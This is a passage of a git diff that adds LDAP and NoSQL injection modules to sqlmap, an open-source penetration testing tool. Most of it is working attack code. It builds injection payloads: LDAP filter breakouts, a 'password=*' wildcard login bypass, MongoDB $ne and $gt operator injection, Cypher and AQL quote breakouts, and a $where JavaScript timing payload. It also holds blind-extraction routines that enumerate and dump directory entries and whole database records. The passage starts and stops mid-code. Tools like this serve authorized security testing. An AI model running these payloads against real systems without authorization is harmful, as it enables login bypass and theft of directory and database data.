"""Escape an LDAP assertion value, then protect URL transport bytes.""" + + value = getUnicode(value) + value = value.replace("\\", "\\5c") + value = value.replace("*", "\\2a") + value = value.replace("(", "\\28") + value = value.replace(")", "\\29") + value = value.replace("\x00", "\\00") + return _transportEncode(value) + + +class _ProbeBuilder(object): + """ + Build payloads that preserve the winning breakout shape. + + Simple probes are open fragments, e.g. SENTINEL*)(uid=adm* + The target application's original filter template supplies the closing suffix. + Compound probes close their own (&...) filter, then open a dummy assertion to + consume that same application suffix. + """ + + def __init__(self, breakout): + self.breakout = breakout or ")" + + def raw(self, fragment, lead=None): + return "%s%s%s" % (lead if lead is not None else SENTINEL, self.breakout, fragment) + + def presence(self, attr, constraint=None, exclusions=None): + assertion = "(%s=*)" % attr + if constraint or exclusions: + return self._compound(assertion, constraint=constraint, exclusions=exclusions) + return self.raw("(%s=*" % attr) + + def prefix(self, attr, value, constraint=None, exclusions=None): + assertion = "(%s=%s*)" % (attr, _ldapLiteral(value)) + if constraint or exclusions: + return self._compound(assertion, constraint=constraint, exclusions=exclusions) + return self.raw("(%s=%s*" % (attr, _ldapLiteral(value))) + + def contains(self, attr, value, constraint=None, exclusions=None): + assertion = "(%s=*%s*)" % (attr, _ldapLiteral(value)) + if constraint or exclusions: + return self._compound(assertion, constraint=constraint, exclusions=exclusions) + return self.raw("(%s=*%s*" % (attr, _ldapLiteral(value))) + + def equals(self, attr, value, constraint=None, exclusions=None): + assertion = "(%s=%s)" % (attr, _ldapLiteral(value)) + if constraint or exclusions: + return self._compound(assertion, constraint=constraint, exclusions=exclusions) + + # Exact equality cannot be made reliable in an unknown trailing template, + # so simple contexts fall back to prefix semantics. + return self.prefix(attr, value) + + def _compound(self, assertion, constraint=None, exclusions=None): + clauses = [] + + if constraint: + cAttr, cValue = constraint + clauses.append("(%s=%s)" % (cAttr, _ldapLiteral(cValue))) + + for eAttr, eValue in exclusions or (): + clauses.append("(!(%s=%s))" % (eAttr, _ldapLiteral(eValue))) + + # Raw '&' would split GET parameters because skipUrlEncode=True. Use %26 + # so the HTTP layer decodes it into LDAP '&' inside the parameter value. + compound = "(%%26%s%s)" % ("".join(clauses), assertion) + + # Dummy suffix eater: the original app template can safely append its tail. + return self.raw("%s(objectClass=%s*" % (compound, SENTINEL)) + + +def _makeOracle(place, parameter, template): + cache = {} + + def request(payload): + if payload not in cache: + cache[payload] = _send(place, parameter, payload) + return cache[payload] + + falsePage = request(SENTINEL) + + def oracle(payload): + page = request(payload) + if not page or _isError(page): + return False + return _ratio(template, page) >= UPPER_RATIO_BOUND + + def extract(payload): + page = request(payload) + if not page or _isError(page): + return False + return _ratio(falsePage, page) < UPPER_RATIO_BOUND + + oracle.extract = extract + oracle.template = template + oracle.falsePage = falsePage + oracle.cache = cache + return oracle + + +# Avoid LDAP metacharacters in blind character extraction. In real LDAP they can +# be escaped, but many simple test harnesses decode them before wildcard handling, +# producing false positives. Transport-sensitive chars are allowed because +# _ldapLiteral() encodes them. +_META_ORDS = set(ord(_) for _ in ('*', '(', ')', '\\')) +_FREQ = (tuple(xrange(ord('a'), ord('z') + 1)) + + tuple(xrange(ord('A'), ord('Z') + 1)) + + tuple(xrange(ord('0'), ord('9') + 1)) + + tuple(ord(_) for _ in "@._-+ ")) +_CHARSET = [] +for _ in _FREQ: + if LDAP_CHAR_MIN <= _ <= LDAP_CHAR_MAX and _ not in _META_ORDS and _ not in _CHARSET: + _CHARSET.append(_) +for _ in xrange(LDAP_CHAR_MIN, LDAP_CHAR_MAX + 1): + if _ not in _META_ORDS and _ not in _CHARSET: + _CHARSET.append(_) + + +def _exists(oracle, builder, attr, constraint=None, exclusions=None): + return oracle.extract(builder.presence(attr, constraint=constraint, exclusions=exclusions)) + + +def _inferAttribute(oracle, builder, attr, constraint=None, exclusions=None, maxLen=LDAP_MAX_LENGTH): + value = "" + probes = 0 + + for _ in xrange(maxLen): + found = False + + for cp in _CHARSET: + candidate = value + chr(cp) + probes += 1 + + if oracle.extract(builder.prefix(attr, candidate, constraint=constraint, exclusions=exclusions)): + value = candidate + found = True + break + + if not found: + break + + # Three or more consecutive trailing spaces never occur in real + # directory data. When the server-side LDAP-to-SQL translation + # (or equivalent) spuriously matches a trailing-space probe (e.g. + # mail=user@dom * matching user@dom), the extraction would + # otherwise chase an endless phantom suffix. Terminate and strip. + if value.endswith(" "): + value = value.rstrip() + break + + logger.debug("LDAP blind inference: %d probes for attribute '%s' (length=%d)" % (probes, attr, len(value))) + return value if value else None + + +def _fingerprintByAttribute(oracle, builder): + for attr, expected, backend in LDAP_FINGERPRINT_ATTRIBUTES: + if not _exists(oracle, builder, attr): + continue + + if expected: + if oracle.extract(builder.contains(attr, expected)): + return backend + else: + return backend + + return None + + +def _dumpInband(oracle, slot): + """If the always-true template page exposes directory entries directly + (e.g. as JSON), extract them in one shot instead of blind brute-force.""" + import json + + page = oracle.template + if not page or not page.strip().startswith('{'): + return False + + try: + data = json.loads(page) + entries = data.get("entries") or data.get("results") or () + except (ValueError, TypeError): + return False + + if not entries or not isinstance(entries, (list, tuple)): + return False + + columns = [] + seen = set() + for entry in entries: + if not isinstance(entry, dict): + continue + for key in entry: + if key not in seen: + columns.append(getUnicode(key)) + seen.add(key) + + if not columns: + return False + + rows = [] + for entry in entries: + if not isinstance(entry, dict): + continue + rows.append(tuple(getUnicode(entry.get(c, "")) for c in columns)) + + # Drop columns where every row is empty (common with wide schemas). + populated = [] + for ci, col in enumerate(columns): + if any(r[ci] for r in rows): + populated.append(ci) + if populated and len(populated) < len(columns): + columns = [columns[i] for i in populated] + rows = [tuple(r[i] for i in populated) for r in rows] + + logger.info("in-band data exposure: %d record(s)" % len(rows)) + _dumpTable("LDAP: %s parameter '%s' in-band entries" % (slot.place, slot.parameter), + columns, rows) + return True + + +def _probeRootDSE(oracle, builder): + for attr in ("namingContexts", "subschemaSubentry", "vendorName", "vendorVersion"): + if not _exists(oracle, builder, attr): + continue + + value = _inferAttribute(oracle, builder, attr) + if value: + logger.info("directory %s: '%s'" % (attr, value)) + + +def _enumerateEntryKeys(oracle, builder): + for keyAttr in ENTRY_KEY_ATTRIBUTES: + if not _exists(oracle, builder, keyAttr): + continue + + values = [] + while len(values) < LDAP_MAX_RECORDS: + exclusions = [(keyAttr, _) for _ in values] + value = _inferAttribute(oracle, builder, keyAttr, exclusions=exclusions) + + if not value or value in values: + break + + values.append(value) + logger.info("identified directory entry: %s='%s'" % (keyAttr, value)) + + if values: + if len(values) >= LDAP_MAX_RECORDS: + logger.warning("directory enumeration hit the LDAP_MAX_RECORDS (%d) cap; some entries may be omitted" % LDAP_MAX_RECORDS) + return keyAttr, values + + return None, [] + + +def _dumpEntries(oracle, builder, place, parameter): + keyAttr, keys = _enumerateEntryKeys(oracle, builder) + if not keys: + logger.warning("could not identify a stable directory entry key") + return False + + rows = [] + discovered = set() + + for key in keys: + constraint = (keyAttr, key) + row = {keyAttr: key} + logger.info("extracting attributes for entry %s='%s'" % (keyAttr, key)) + + for attr in DUMP_ATTRIBUTES: + if attr == keyAttr: + continue + + logger.info("probing attribute '%s'" % attr) + if not _exists(oracle, builder, attr, constraint=constraint): + continue + + value = _inferAttribute(oracle, builder, attr, constraint=constraint) + if value: + row[attr] = value + discovered.add(attr) + + rows.append(row) + + columns = [keyAttr] + [_ for _ in DUMP_ATTRIBUTES if _ != keyAttr and _ in discovered] + tableRows = [tuple(row.get(column, "") for column in columns) for row in rows] + + logger.info("dumped %d entr%s" % (len(rows), "y" if len(rows) == 1 else "ies")) + _dumpTable("LDAP: %s parameter '%s' directory entries" % (place, parameter), columns, tableRows) + return True + + +def _dumpMultiValues(oracle, builder, place, parameter): + dumped = False + + for attr in MULTI_VALUE_ATTRIBUTES: + if not _exists(oracle, builder, attr): + continue + + # Multi-valued attributes (member, memberOf, ...) carry several values; + # walk them by excluding each recovered value from the next probe, exactly + # like _enumerateEntryKeys does for entry keys. + values = [] + while len(values) < LDAP_MAX_RECORDS: + exclusions = [(attr, _) for _ in values] + value = _inferAttribute(oracle, builder, attr, exclusions=exclusions) + if not value or value in values: + break + values.append(value) + + if values: + if len(values) >= LDAP_MAX_RECORDS: + logger.warning("attribute '%s' hit the LDAP_MAX_RECORDS (%d) cap; some values may be omitted" % (attr, LDAP_MAX_RECORDS)) + logger.info("fetched %d value%s from attribute '%s'" % (len(values), "" if len(values) == 1 else "s", attr)) + _dumpTable("LDAP: %s parameter '%s' '%s' values" % (place, parameter, attr), [attr], [(_,) for _ in values]) + dumped = True + + return dumped + + +def _grid(columns, rows): + columns = [getUnicode(_) for _ in columns] + rows = [[getUnicode(_) for _ in row] for row in rows] + + widths = [] + for index, column in enumerate(columns): + width = len(column) + for row in rows: + if index < len(row): + width = max(width, len(row[index])) + widths.append(width) + + separator = "+-" + "-+-".join("-" * _ for _ in widths) + "-+" + + def line(cells): + return "| " + " | ".join((cells[index] if index < len(cells) else "").ljust(widths[index]) for index in xrange(len(columns))) + " |" + + return "\n".join([separator, line(columns), separator] + [line(row) for row in rows] + [separator]) + + +def _dumpTable(title, columns, rows): + if rows: + conf.dumper.singleString("%s:\n%s" % (title, _grid(columns, rows))) + + +def ldapScan(): + global SENTINEL + SENTINEL = randomStr(length=10, lowercase=True) + + debugMsg = "'--ldap' is self-contained: it detects LDAP injection in HTTP " + debugMsg += "parameters and dumps reachable directory entries. SQL enumeration " + debugMsg += "switches (--banner, --dbs, --tables, --users, --sql-query) are ignored" + logger.debug(debugMsg) + + if not conf.paramDict: + logger.error("no request parameters to test (use --data, GET params, or similar)") + return + + tested = found = 0 + slots = [] + + for place in (_ for _ in LDAP_PLACES if _ in conf.paramDict): + for parameter in list(conf.paramDict[place].keys()): + if conf.testParameter and parameter not in conf.testParameter: + continue + + tested += 1 + logger.info("testing LDAP injection on %s parameter '%s'" % (place, parameter)) + + # Phase 1: probe the LDAP filter parser for a backend hint. + # This is NOT authoritative -- only a boolean oracle confirms + # exploitable injection. + backendHint, _errorPayload = _probeBackendByParserError(place, parameter) + if backendHint: + backendHint = _fingerprintByError(backendHint) + + # Phase 2: establish a boolean oracle (authoritative). + template, payload, breakout = _detectBoolean(place, parameter) + if template and breakout: + found += 1 + backend = backendHint or None + logger.info("%s parameter '%s' is vulnerable to LDAP injection (back-end: '%s')" % (place, parameter, backend or "Generic")) + if conf.beep: + beep() + + oracle = _makeOracle(place, parameter, template) + slots.append(Slot(place=place, parameter=parameter, backend=backend, oracle=oracle, template=template, payload=payload, breakout=breakout)) + continue + + # Phase 3: wildcard auth bypass (credential fields only). + bypass = _detectAuthBypass(place, parameter) + if bypass: + found += 1 + logger.info("%s parameter '%s' allows LDAP wildcard auth bypass (password=*)" % (place, parameter)) + if conf.beep: + beep() + slots.append(Slot(place=place, parameter=parameter, bypass=bypass)) + continue + + # Parser-error alone is not exploitable -- log it but do not + # create a vulnerability report. + if backendHint: + logger.info("%s parameter '%s' reaches an LDAP filter parser (back-end: '%s'), but no exploitable boolean oracle was established" % (place, parameter, backendHint)) + + if not slots: + if tested: + warnMsg = "no parameter appears to be injectable via LDAP injection (%d tested)" % tested + else: + warnMsg = "no parameters found to test for LDAP injection" + logger.warning(warnMsg) + return + + # Print auth-bypass reports. + for slot in slots: + if slot.bypass: + conf.dumper.singleString("---\nParameter: %s (%s)\n Type: LDAP injection\n Title: LDAP auth bypass (wildcard)\n Payload: %s=%s\n---" % (slot.parameter, slot.place, slot.parameter, slot.bypass)) + + # Select the first oracle-bearing slot for fingerprint + enumeration. + slot = next((_ for _ in slots if _.oracle and _.breakout), None) + if not slot: + logger.info("LDAP scan complete") + return + + # Refine backend fingerprint if we only have a generic hint. + builder = _ProbeBuilder(slot.breakout) + oracle = slot.oracle + if not slot.backend or slot.backend == "Generic LDAP": + backend = _fingerprintByAttribute(oracle, builder) + if backend: + logger.info("identified back-end: '%s'" % backend) + slot = slot._replace(backend=backend) + + # Determine extraction method: in-band if the template page already + # contains parseable JSON entries, otherwise blind. + import json + page = oracle.template + inband = False + if page and page.strip().startswith('{'): + try: + data = json.loads(page) + entries = data.get("entries") or data.get("results") or () + inband = bool(entries and isinstance(entries, (list, tuple))) + except (ValueError, TypeError): + pass + + title = "LDAP in-band data exposure" if inband else "LDAP boolean-based blind" + conf.dumper.singleString("---\nParameter: %s (%s)\n Type: LDAP injection\n Title: %s\n Payload: %s=%s\n---" % (slot.parameter, slot.place, title, slot.parameter, slot.payload)) + + logger.info("probing RootDSE-style directory metadata") + _probeRootDSE(oracle, builder) + + if inband: + dumped = _dumpInband(oracle, slot) + else: + dumped = _dumpEntries(oracle, builder, slot.place, slot.parameter) + dumped = _dumpMultiValues(oracle, builder, slot.place, slot.parameter) or dumped + + if not dumped: + warnMsg = "LDAP injection is confirmed but no directory data could be extracted. " + warnMsg += "The injection point may expose only a limited boolean oracle or ACLs restrict reads" + logger.warning(warnMsg) + + logger.info("LDAP scan complete") diff --git a/lib/techniques/nosql/__init__.py b/lib/techniques/nosql/__init__.py new file mode 100644 index 00000000000..2c772879a4f --- /dev/null +++ b/lib/techniques/nosql/__init__.py @@ -0,0 +1,6 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" diff --git a/lib/techniques/nosql/inject.py b/lib/techniques/nosql/inject.py new file mode 100644 index 00000000000..83909886cc7 --- /dev/null +++ b/lib/techniques/nosql/inject.py @@ -0,0 +1,785 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import difflib +import json +import re +import time + +from collections import namedtuple +from collections import OrderedDict + +from lib.core.common import beep +from lib.core.common import randomStr +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import PLACE +from lib.core.enums import POST_HINT +from lib.core.settings import NOSQL_CHAR_MAX +from lib.core.settings import NOSQL_CHAR_MIN +from lib.core.settings import NOSQL_ERROR_REGEX +from lib.core.settings import NOSQL_MAX_FIELDS +from lib.core.settings import NOSQL_MAX_LENGTH +from lib.core.settings import NOSQL_MAX_RECORDS +from lib.core.settings import UPPER_RATIO_BOUND +from lib.request.connect import Connect as Request +from lib.utils.xrange import xrange +from thirdparty.six.moves import urllib as _urllib + +# Improbable literal used to build always-true/never-match payloads. Randomized per run (like +# kb.chars boundaries) so it never becomes a static signature a WAF can pin a blocking rule on. +NOSQL_SENTINEL = randomStr(length=10, lowercase=True) + +# Maximum number of characters of in-band (reflected) data surfaced from an always-true response +NOSQL_DUMP_LIMIT = 4096 + +# Delivery shapes that can carry an injection into a back-end filter/query +NOSQL_PLACES = (PLACE.GET, PLACE.POST, PLACE.URI, PLACE.CUSTOM_POST, PLACE.COOKIE) + +# Lucene regexp metacharacters (Elasticsearch/Solr) requiring escaping in built patterns +LUCENE_META = set('.?+*|(){}[]"\\/') + +# Java regexp metacharacters (Cypher/AQL =~) requiring escaping in built patterns +JAVA_META = set('.?+*|(){}[]^$\\/') + +# Engines detectable through a syntax-breaking probe but lacking a clean substring oracle for blind +# extraction (mapped from recognizable error-message fragments - not product names - to back-end name) +ERROR_SIGNATURES = ( + ("Cassandra", ("no viable alternative at input", "org.apache.cassandra", "com.datastax", "invalidrequestexception")), + ("Redis", ("wrongtype operation", "err error compiling script", "err error running script", "@user_script", "replyerror")), + ("Memcached", ("client_error bad", "server_error object too large")), + ("InfluxDB", ("error parsing query", "unable to parse")), + ("HBase/Phoenix", ("org.apache.phoenix", "phoenixparserexception", "org.apache.hadoop.hbase")), +) + +_UNSET = object() + +# HTTP status of the most recent request issued by _send() (None when bypassed, e.g. under tests) +_lastCode = None + +# Resolved injection vector. `template` is the always-true page for content-based blind extraction +# (None for time-based/detection-only); `bypass` is the always-true payload reported as a login/filter +# bypass; `truth` overrides the content oracle (e.g. a timing predicate for the $where time-based path); +# `dump` is a callable returning (columns, rows) for a whole-document dump (server-side-JS key enumeration). +Vector = namedtuple("Vector", ("dbms", "fetch", "lengthValue", "charValue", "template", "bypass", "truth", "dump")) +Vector.__new__.__defaults__ = (None, None, None, None) + +def _ratio(first, second): + return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio() + +def _encode(value): + return _urllib.parse.quote(value, safe="") + +def _lucene(value): + return "".join(("\\" + _ if _ in LUCENE_META else _) for _ in value) + +def _javaEscape(value): + return "".join(("\\" + _ if _ in JAVA_META else _) for _ in value) + +def _quoted(regex): + # double every backslash so a regexp survives a single-quoted string literal (Cypher/AQL/N1QL), + # whose own backslash processing would otherwise strip one level before the engine parses it + return regex.replace("\\", "\\\\") + +def _isJsonBody(): + return kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE) + +def _jsonKey(parameter): + for prefix in ("JSON ", "JSON-like "): + if parameter.startswith(prefix): + return parameter[len(prefix):] + return parameter + +def _delim(place): + # parameter delimiter for the place: ';' for cookies (per --cookie-del), '&' otherwise + return (conf.cookieDel or ';') if place == PLACE.COOKIE else '&' + +def _originalValue(place, parameter): + for segment in conf.parameters[place].split(_delim(place)): + name, _, value = segment.partition('=') + if name.strip() == parameter: + return value + return conf.paramDict.get(place, {}).get(parameter) or "" + +def _replaceSegment(place, parameter, segment): + """Rebuild conf.parameters[place], swapping the target parameter for `segment` (e.g. 'k[$ne]=v' + or 'k=v') while preserving every sibling parameter verbatim""" + + delimiter = _delim(place) + retVal, replaced = [], False + + for part in conf.parameters[place].split(delimiter): + if not replaced and part.split('=', 1)[0].strip() == parameter: + retVal.append(segment) + replaced = True + else: + retVal.append(part) + + if not replaced: + retVal = [segment if name == parameter else "%s=%s" % (_encode(name), _encode(value)) for name, value in conf.paramDict[place].items()] + + return delimiter.join(retVal) + +def _send(place, parameter, segment=None, jsonValue=_UNSET): + """Issues a single request with the target parameter overridden - by raw 'name=value' segment for + URL/body parameters, or by setting the key to `jsonValue` for JSON bodies - returning the response""" + + global _lastCode + + skipUrlEncode = conf.skipUrlEncode + conf.skipUrlEncode = True + + if conf.delay: + time.sleep(conf.delay) + + try: + kwargs = {"raise404": False, "silent": True} + + if jsonValue is not _UNSET and _isJsonBody() and place in (PLACE.POST, PLACE.CUSTOM_POST): + try: + data = json.loads(conf.data) + except Exception: + data = {} + data[_jsonKey(parameter)] = jsonValue + payload = kwargs["post"] = json.dumps(data) + elif place == PLACE.COOKIE: + payload = kwargs["cookie"] = _replaceSegment(place, parameter, segment) + else: + payload = _replaceSegment(place, parameter, segment) + kwargs["post" if place in (PLACE.POST, PLACE.CUSTOM_POST) else "get"] = payload + + logger.log(CUSTOM_LOGGING.PAYLOAD, _urllib.parse.unquote(payload)) # readable, surfaced at -v 3 like a regular sqlmap payload + page, _, _lastCode = Request.getPage(**kwargs) + finally: + conf.skipUrlEncode = skipUrlEncode + + return page or "" + +def _isError(page): + # a server-error status or a recognizable back-end error body marks a response as NOT a valid + # always-true template (prevents two differing error pages from faking a boolean oracle) + return (_lastCode or 0) >= 500 or bool(re.search(NOSQL_ERROR_REGEX, page or "")) + +def _fetch(place, parameter, op, value, isArray=False): + """MongoDB/CouchDB dialect: renders the parameter as an operator object (bracket or JSON shape)""" + + suffix = ("[%s][]" % op) if isArray else ("[%s]" % op) + segment = "%s%s=%s" % (_encode(parameter), suffix, _encode(value)) + return _send(place, parameter, segment, {op: [value]} if isArray else {op: value}) + +def _fetchValue(place, parameter, value): + """String dialects (Lucene query_string, Cypher, AQL): replaces the parameter's value verbatim""" + + return _send(place, parameter, "%s=%s" % (_encode(parameter), _encode(value)), value) + +def _boolean(truthy, falsy): + """Returns the (reproducible) true-page when a NoSQL true/false payload pair yields a stable + content divergence - i.e. the payload reached and influenced the back-end - else None""" + + truePage = truthy() + if not truePage or _isError(truePage): # an error response is never a valid always-true template + return None + + falsePage = falsy() + if _ratio(truePage, truthy()) > UPPER_RATIO_BOUND and _ratio(truePage, falsePage) < UPPER_RATIO_BOUND: + return truePage + + return None + +def _detectMongo(place, parameter): + # $ne (matches everything) vs $in [sentinel] (matches nothing); $gt '' (matches any string) is a + # fallback always-true for apps that filter $ne but not the comparison operators + return _boolean(lambda: _fetch(place, parameter, "$ne", NOSQL_SENTINEL), lambda: _fetch(place, parameter, "$in", NOSQL_SENTINEL, isArray=True)) \ + or _boolean(lambda: _fetch(place, parameter, "$gt", ""), lambda: _fetch(place, parameter, "$in", NOSQL_SENTINEL, isArray=True)) + +def _detectES(place, parameter): + # query_string '*' (matches everything) vs a literal sentinel (matches nothing) + return _boolean(lambda: _fetchValue(place, parameter, '*'), lambda: _fetchValue(place, parameter, NOSQL_SENTINEL)) + +def _detectCypher(place, parameter): + # single-quote break-out: OR '1'='1' (true) vs OR '1'='2' (false) + return _boolean(lambda: _fetchValue(place, parameter, NOSQL_SENTINEL + "' OR '1'='1"), lambda: _fetchValue(place, parameter, NOSQL_SENTINEL + "' OR '1'='2")) + +def _detectAQL(place, parameter): + # single-quote break-out: || '1'=='1 (true) vs || '1'=='2 (false) + return _boolean(lambda: _fetchValue(place, parameter, NOSQL_SENTINEL + "' || '1'=='1"), lambda: _fetchValue(place, parameter, NOSQL_SENTINEL + "' || '1'=='2")) + +def _detectNumeric(place, parameter): + # unquoted (numeric-context) boolean break-out for SQL-like back-ends: OR/AND (Cypher/N1QL) or + # ||/&& (AQL). A numeric field is not blindly regexp-extractable, so exploitation is the in-band + # dump of the always-true response (rows reflected by the page) + value = (_originalValue(place, parameter) or "1").strip() + if not value.isdigit(): + return None + + template = _boolean(lambda: _fetchValue(place, parameter, "%s OR 1=1" % value), lambda: _fetchValue(place, parameter, "%s AND 1=2" % value)) + if template: + # Cypher, N1QL and PartiQL share OR/AND; tell them apart by a constant-arg, field-free primitive + # each engine alone honors: N1QL REGEXP_CONTAINS, DynamoDB begins_with (Cypher has neither) + if _confirm(place, parameter, "%s OR REGEXP_CONTAINS('ab', 'a') OR 1=2" % value, "%s OR REGEXP_CONTAINS('ab', 'z') OR 1=2" % value): + dbms = "Couchbase" + elif _confirm(place, parameter, "%s OR begins_with('ab', 'a') OR 1=2" % value, "%s OR begins_with('ab', 'z') OR 1=2" % value): + dbms = "DynamoDB" + else: + dbms = "Neo4j" + return dbms, template, "%s OR 1=1" % value + + template = _boolean(lambda: _fetchValue(place, parameter, "%s || 1==1" % value), lambda: _fetchValue(place, parameter, "%s && 1==2" % value)) + if template: + return "ArangoDB", template, "%s || 1==1" % value + + return None + +def _detectError(place, parameter): + # last-resort: a syntax-breaking value that diverges from a normal one and surfaces an engine error + original = _originalValue(place, parameter) or '1' + normal = _fetchValue(place, parameter, original) + broken = _fetchValue(place, parameter, original + "'") + + if not normal or _ratio(normal, broken) >= UPPER_RATIO_BOUND: + return None + + for engine, tokens in ERROR_SIGNATURES: + # the diagnostic must be injection-specific (token absent from the normal page) and + # must reproduce, so a dynamic page that merely happens to diverge and mention an + # engine name once is not mistaken for an error-based oracle + if any(_ in broken.lower() for _ in tokens) and not any(_ in normal.lower() for _ in tokens): + reBroken = _fetchValue(place, parameter, original + "'") + if any(_ in (reBroken or "").lower() for _ in tokens): + return engine + + return None + +def _fingerprintMongo(place, parameter): + page = _fetch(place, parameter, "$regex", '(').lower() # invalid regexp -> driver/DB error + if any(_ in page for _ in ("couch", "mango", "bad_arg", "erlang")): + return "CouchDB" + elif any(_ in page for _ in ("mongo", "bson", "regular expression", "$regex")): + return "MongoDB" + else: + return "MongoDB (assumed)" + +def _fingerprintLucene(place, parameter): + page = _fetchValue(place, parameter, "/[/").lower() # invalid regexp -> engine error + if any(_ in page for _ in ("solr", "solrexception")): + return "Solr" + elif "opensearch" in page: + return "OpenSearch" + else: + return "Elasticsearch" + +def _constraint(place, parameter, eq='=', conj=" AND ", prefix="u."): + """Re-expresses sibling parameters as query constraints (field == parameter name) so extraction + stays bound to the originally matched record. `prefix`/`eq`/`conj` adapt the per-dialect syntax + (Cypher: 'u.'/'='/' AND '; AQL: 'u.'/'=='/' && '; $where JS: 'this.'/'=='/'&&')""" + + parts = [] + + for segment in conf.parameters[place].split(_delim(place)): + if '=' not in segment: + continue + name, _, value = segment.partition('=') + name = name.strip() + if name and name != parameter: + parts.append("%s%s%s'%s'" % (prefix, name, eq, value)) + + return (conj.join(parts) + conj) if parts else "" + +def _confirm(place, parameter, truePayload, falsePayload): + # disambiguates dialects that share the same break-out syntax by probing a dialect-specific + # regexp-match primitive (e.g. Cypher '=~' vs N1QL 'REGEXP_CONTAINS') for a true/false divergence + return _boolean(lambda: _fetchValue(place, parameter, truePayload), lambda: _fetchValue(place, parameter, falsePayload)) is not None + +def _timed(call): + start = time.time() + call() + return time.time() - start + +def _whereDelay(condition): + # MongoDB $where (server-side JS) string break-out: busy-loops for ~conf.timeSec seconds whenever + # the per-document JS `condition` holds, yielding a timing oracle when no content differential + # exists. The document is passed in as `d` (inside the function `this` is not the document). + return "%s' || (function(d){if(%s){var t=new Date().getTime();while(new Date().getTime()-t<%d){}}return false})(this) || '1'=='2" % (NOSQL_SENTINEL, condition, int(conf.timeSec * 1000)) + +def _detectWhere(place, parameter): + # an unconditional-delay payload must run ~conf.timeSec slower than the baseline - and do so + # TWICE, to reject a one-off jitter spike - while a non-delaying one stays fast (the latter + # guards against a uniformly slow endpoint) + delayed = lambda: _timed(lambda: _fetchValue(place, parameter, _whereDelay("true"))) + threshold = _timed(lambda: _fetchValue(place, parameter, _originalValue(place, parameter) or "1")) + conf.timeSec * 0.5 + if threshold < conf.timeSec and delayed() > threshold and delayed() > threshold: + if _timed(lambda: _fetchValue(place, parameter, "%s' || '1'=='2" % NOSQL_SENTINEL)) <= threshold: + return threshold + return None + +def _jsString(value): + return "'%s'" % value.replace("\\", "\\\\").replace("'", "\\'") + +def _whereField(place, parameter, bound, expr, threshold): + """Time-based recovery of an arbitrary per-document JavaScript string expression `expr` (e.g. a key + name 'Object.keys(d)[i]', or a value 'String(d[name])') via the $where busy-loop oracle""" + + truth = lambda payload: _timed(lambda: _fetchValue(place, parameter, payload)) > threshold + return _extract(None, None, + lambda n: _whereDelay("%s(%s)&&(%s).length>=%d" % (bound, expr, expr, n)), + lambda known, klass: _whereDelay("%s/^%s%s/.test(%s)" % (bound, _javaEscape(known), klass, expr)), + truth) + +def _whereDump(place, parameter, bound, threshold): + """Whole-document dump via server-side-JavaScript key enumeration: walk Object.keys(this) to recover + each field name, then String(this[name]) for its value. Returns (columns, rows) or None""" + + columns, values = [], [] + for index in xrange(NOSQL_MAX_FIELDS): + name = _whereField(place, parameter, bound, "Object.keys(d)[%d]" % index, threshold) + if not name: + break + columns.append(name) + values.append(_whereField(place, parameter, bound, "String(d[%s])" % _jsString(name), threshold) or "") + logger.info("retrieved: %s='%s'" % (name, values[-1])) + + return (columns, [values]) if columns else None + +def _classChar(ordinal): + char = chr(ordinal) + return ("\\" + char) if char in "]\\^-" else char # escape the char-class metacharacters + +def _klass(low, high): + # a regexp character class spanning the codepoints [low, high] (single member when low == high) + return "[%s]" % _classChar(low) if low == high else "[%s-%s]" % (_classChar(low), _classChar(high)) + +def _propLiteral(name): + return "'%s'" % name.replace("\\", "\\\\").replace("'", "\\'") + +def _enumField(place, parameter, template, payloadFor): + """Content-based recovery of the string matched by a regexp clause built via payloadFor(regexBody), + reusing the bisection extractor against the always-true single-record `template`""" + + return _extract(template, lambda value: _fetchValue(place, parameter, value), + lambda n: payloadFor(".{%d,}" % n), + lambda known, klass: payloadFor(_quoted(_javaEscape(known) + klass))) + +def _enumDump(place, parameter, makePayload, keysExpr, valueExpr): + """Whole-document dump via key enumeration for the regexp dialects: keysExpr(i) -> the i-th field + name, valueExpr(name) -> that field's value. makePayload(targetExpr, regexBody) wraps the dialect + break-out and record binding around a ' matches ^' oracle. Returns + (columns, rows) or None - the caller can then fall back to single-field extraction""" + + template = _fetchValue(place, parameter, makePayload(keysExpr(0), ".*")) # the bound single record + if not template or _isError(template): + return None + + columns, values = [], [] + for index in xrange(NOSQL_MAX_FIELDS): + name = _enumField(place, parameter, template, lambda rb, i=index: makePayload(keysExpr(i), rb)) + if not name: + break + columns.append(name) + values.append(_enumField(place, parameter, template, lambda rb, n=name: makePayload(valueExpr(n), rb)) or "") + logger.info("retrieved: %s='%s'" % (name, values[-1])) + + return (columns, [values]) if columns else None + +def _cypherDump(place, parameter): + """Blind multi-record collection dump (Neo4j Cypher). Walks every matched node in ascending order + of its internal node id (a unique, ordered, always-present key - unlike property order, which Neo4j + does not guarantee), key-enumerating each node's full document. Returns (columns, rows) or None""" + + fetch = lambda payload: _fetchValue(place, parameter, payload) + noMatch = fetch("%s' OR '1'='2" % NOSQL_SENTINEL) # stable zero-record baseline (app closes the quote) + differs = lambda payload: _ratio(fetch(payload), noMatch) < UPPER_RATIO_BOUND + if not noMatch or not differs("%s' OR '1'='1" % NOSQL_SENTINEL): + return None + + # a numeric condition opens no string, so balance the app's trailing quote with a tautology + exists = lambda cond: differs("%s' OR %s AND '1'='1" % (NOSQL_SENTINEL, cond)) + + def minIdGreater(lower): + # smallest internal node id strictly greater than `lower` (None when no further node exists) + if not exists("id(u) > %d" % lower): + return None + hi = lower + 1 + while not exists("id(u) > %d AND id(u) <= %d" % (lower, hi)): + hi *= 2 + if hi > (1 << 40): + return None + lo = lower + while lo + 1 < hi: + mid = (lo + hi) // 2 + if exists("id(u) > %d AND id(u) <= %d" % (lower, mid)): + hi = mid + else: + lo = mid + return hi + + columns, records, lastId = [], [], -1 + for _ in xrange(NOSQL_MAX_RECORDS): + nodeId = minIdGreater(lastId) + if nodeId is None: + break + record = _enumDump(place, parameter, + lambda expr, rb, k=nodeId: "%s' OR id(u)=%d AND %s =~ '^%s.*" % (NOSQL_SENTINEL, k, expr, rb), + lambda i: "keys(u)[%d]" % i, lambda n: 